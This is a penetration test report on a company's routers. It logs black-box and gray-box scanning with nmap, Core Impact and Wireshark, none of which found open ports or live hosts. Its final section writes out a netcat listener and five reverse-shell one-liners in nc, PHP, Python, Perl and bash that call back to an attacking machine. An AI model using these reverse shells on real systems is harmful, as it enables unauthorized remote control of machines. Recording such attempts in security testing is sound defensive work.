 128 Technology Testing Report

# Black Box – Day 1 of Testing: 12 July 2019

* Connected to each router via ethernet cable. Both issued the following IP address via DHCP: 169.254.143.217
* Neither router revealed a default gateway



* Wireshark was then used to determine what kind of traffic could be seen on the network and potentially reveal any hosts. Packets were captured for approximately 30 minutes from each router while being issued the 169.254.143.217 via DHCP.
	+ No hosts were revealed
	+ No HTTP traffic or similarly interesting traffic was identified.
* Nmap was used to scan 169.254.143.1/16 for hosts.
	+ Using the no port scan flag “-sn” testers scanned for hosts responding to the discovery probes on the 255.255.0.0 subnet

|  |
| --- |
| nmap -sn 169.254.143.1/16 |

* No hosts were discovered as being “up”
* Testers ran the following port scan incase the discovery probes were being blocked

|  |
| --- |
| nmap -p 21,22,80,443,8080 169.254.143.1/16 |

* + All ports were filtered or closed. No hosts determined to be “up”
	+ Testers began to scan common IP ranges with discovery probes using nmap.

|  |
| --- |
| nmap -sn 10.0.0.1/16nmap -sn 192.168.1.1/16 |

* + No hosts were discovered as being “up”
	+ Testers port scanned common ports on the same common IP ranges.

|  |
| --- |
| nmap -p 21,22,80,443,8080 10.0.0.1/16nmap -p 21,22,80,443,8080 192.168.1.1/16 |

* + No hosts were discovered as “up”
* Having no default gateway provided via DHCP, and no hosts discovered through discovery probes, port scans, or packet analysis, testers proceeded to the Gray Box portion

# Gray Box – Day 2 of Testing: 13 July 2019

* Testers were provided with a network diagram depicting the entire network landscape
* On each router, testers connected via ethernet cable
* Every IP provided in the network diagram was scanned for open ports using both Nmap and Core Impact from the perspective of each router (plugged in via ethernet to each one separately). All ports were either filtered or closed
	+ Core Impact results for one of the systems depicted in the network diagram which mimicked the results of all Core Impact Scans for IPs provided in the network diagram:
	+ After Core Impact failed to return any open ports or avenues of attack, nmap was leveraged to scan all 65,535 ports

|  |
| --- |
| nmap -p 1-65535 -T4 -A 10.0.1.1,1.1.1.2,1.1.1.1,192.168.1.2,192.168.1.1,192.168.2.1,192.168.2.2,10.0.2.1,10.0.2.2,10.0.1.2 |

* + These scans were run using different IPv4 settings. Every perspective was covered from the dynamically provided IPv4 address of 169.254.143.217, Manually set static IP of 10.0.1.2, 10.0.2.2, 10.0.1.3, 10.0.2.3.
	+ All scans reported back that all ports were either filtered or closed.
* Wireshark was once again utilized to perform packet analysis. No interesting traffic was seen from either of the router perspectives
* Testers were unable to identify any hosts that were up, rendering any MITM options futile
* With all ports reporting back as filtered or closed in all the scans run, and no hosts identified as being up, testers proceeded to carryout a physical access scenario attack attempting to reach out with a shell to the attacking machine.
	+ From the attacking kali linux machine, the following command was issued to listen for a connection with netcat.

|  |
| --- |
| nc -nlvp 1337 |

* + From each router with a keyboard and monitor connected, several attempts were made to reach out to the attacking machine to provide a shell using the following commands (dynamically provided IP was used in these examples):

|  |
| --- |
| nc -e /bin/sh 169.254.143.217 1337 |
| php -r '$sock=fsockopen("169.254.143.217",1337);exec("/bin/sh -i <&3 >&3 2>&3");' |
| python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("169.254.143.217",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
| perl -e 'use Socket;$i="169.254.143.217";$p=1337;socket(S,PF\_INET,SOCK\_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr\_in($p,inet\_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
| bash -i >& /dev/tcp/169.254.143.217/1337 0>&1 |

* + No shell was ever able to successfully reach the attacking machine.